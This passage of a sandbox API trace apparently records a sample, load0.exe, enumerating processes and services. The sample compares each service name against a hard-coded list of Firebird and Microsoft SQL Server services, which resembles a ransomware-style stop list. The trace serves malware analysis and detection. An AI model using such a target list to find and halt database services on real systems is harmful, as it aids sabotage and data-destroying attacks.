[0269.248] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0269.249] lstrlenW (lpString="load0.exe") returned 9 [0269.249] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0269.250] CloseHandle (hObject=0x125c) returned 1 [0269.250] Sleep (dwMilliseconds=0x1f4) [0269.809] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0269.809] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0269.810] GetLastError () returned 0xea [0269.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0269.810] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0269.811] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0269.811] lstrlenW (lpString="Appinfo") returned 7 [0269.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0269.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0269.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0269.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0269.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0269.812] lstrlenW (lpString="AppXSvc") returned 7 [0269.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0269.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0269.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0269.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0269.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0269.812] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.812] lstrlenW (lpString="Audiosrv") returned 8 [0269.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0269.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0269.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0269.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0269.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0269.812] lstrlenW (lpString="BFE") returned 3 [0269.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.812] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.813] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0269.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.813] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0269.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0269.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0269.813] lstrlenW (lpString="CDPSvc") returned 6 [0269.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0269.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0269.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0269.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0269.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0269.813] lstrlenW (lpString="ClickToRunSvc") returned 13 [0269.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0269.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0269.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0269.813] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0269.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0269.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0269.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0269.814] lstrlenW (lpString="CryptSvc") returned 8 [0269.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.814] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.814] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.814] lstrlenW (lpString="DcomLaunch") returned 10 [0269.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.814] lstrlenW (lpString="DeviceAssociationService") returned 24 [0269.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0269.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0269.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0269.814] lstrlenW (lpString="Dhcp") returned 4 [0269.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.814] lstrlenW (lpString="Dnscache") returned 8 [0269.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.815] lstrlenW (lpString="DPS") returned 3 [0269.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.815] lstrlenW (lpString="DusmSvc") returned 7 [0269.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0269.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0269.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0269.815] lstrlenW (lpString="EventLog") returned 8 [0269.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0269.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0269.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0269.815] lstrlenW (lpString="EventSystem") returned 11 [0269.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.815] lstrlenW (lpString="FontCache") returned 9 [0269.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0269.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0269.815] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0269.815] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0269.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0269.815] lstrlenW (lpString="gpsvc") returned 5 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.816] lstrlenW (lpString="iphlpsvc") returned 8 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.816] lstrlenW (lpString="KeyIso") returned 6 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0269.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0269.816] lstrlenW (lpString="LanmanServer") returned 12 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.816] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.816] lstrlenW (lpString="lfsvc") returned 5 [0269.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0269.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0269.816] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0269.816] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0269.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0269.817] lstrlenW (lpString="lmhosts") returned 7 [0269.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.817] lstrlenW (lpString="LSM") returned 3 [0269.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0269.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0269.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0269.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0269.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0269.817] lstrlenW (lpString="MpsSvc") returned 6 [0269.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.817] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.817] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.817] lstrlenW (lpString="NcbService") returned 10 [0269.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0269.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0269.817] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0269.817] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0269.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0269.817] lstrlenW (lpString="netprofm") returned 8 [0269.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.818] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.818] lstrlenW (lpString="NgcSvc") returned 6 [0269.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0269.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0269.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0269.818] lstrlenW (lpString="NlaSvc") returned 6 [0269.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.818] lstrlenW (lpString="nsi") returned 3 [0269.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.818] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.818] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.818] lstrlenW (lpString="PcaSvc") returned 6 [0269.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.818] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.818] lstrlenW (lpString="PlugPlay") returned 8 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.819] lstrlenW (lpString="Power") returned 5 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.819] lstrlenW (lpString="ProfSvc") returned 7 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.819] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.819] lstrlenW (lpString="RpcSs") returned 5 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.819] lstrlenW (lpString="SamSs") returned 5 [0269.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.820] lstrlenW (lpString="Schedule") returned 8 [0269.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.820] lstrlenW (lpString="SecurityHealthService") returned 21 [0269.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0269.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0269.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0269.820] lstrlenW (lpString="SENS") returned 4 [0269.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.820] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.869] lstrlenW (lpString="Spooler") returned 7 [0269.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.869] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.869] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.869] lstrlenW (lpString="StateRepository") returned 15 [0269.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0269.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0269.869] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0269.869] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0269.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0269.869] lstrlenW (lpString="SysMain") returned 7 [0269.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.870] lstrlenW (lpString="SystemEventsBroker") returned 18 [0269.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0269.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0269.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0269.870] lstrlenW (lpString="Themes") returned 6 [0269.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0269.870] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0269.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0269.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0269.870] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0269.870] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0269.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0269.870] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1114 [0269.875] Process32FirstW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.876] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.876] lstrlenW (lpString="System") returned 6 [0269.876] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: 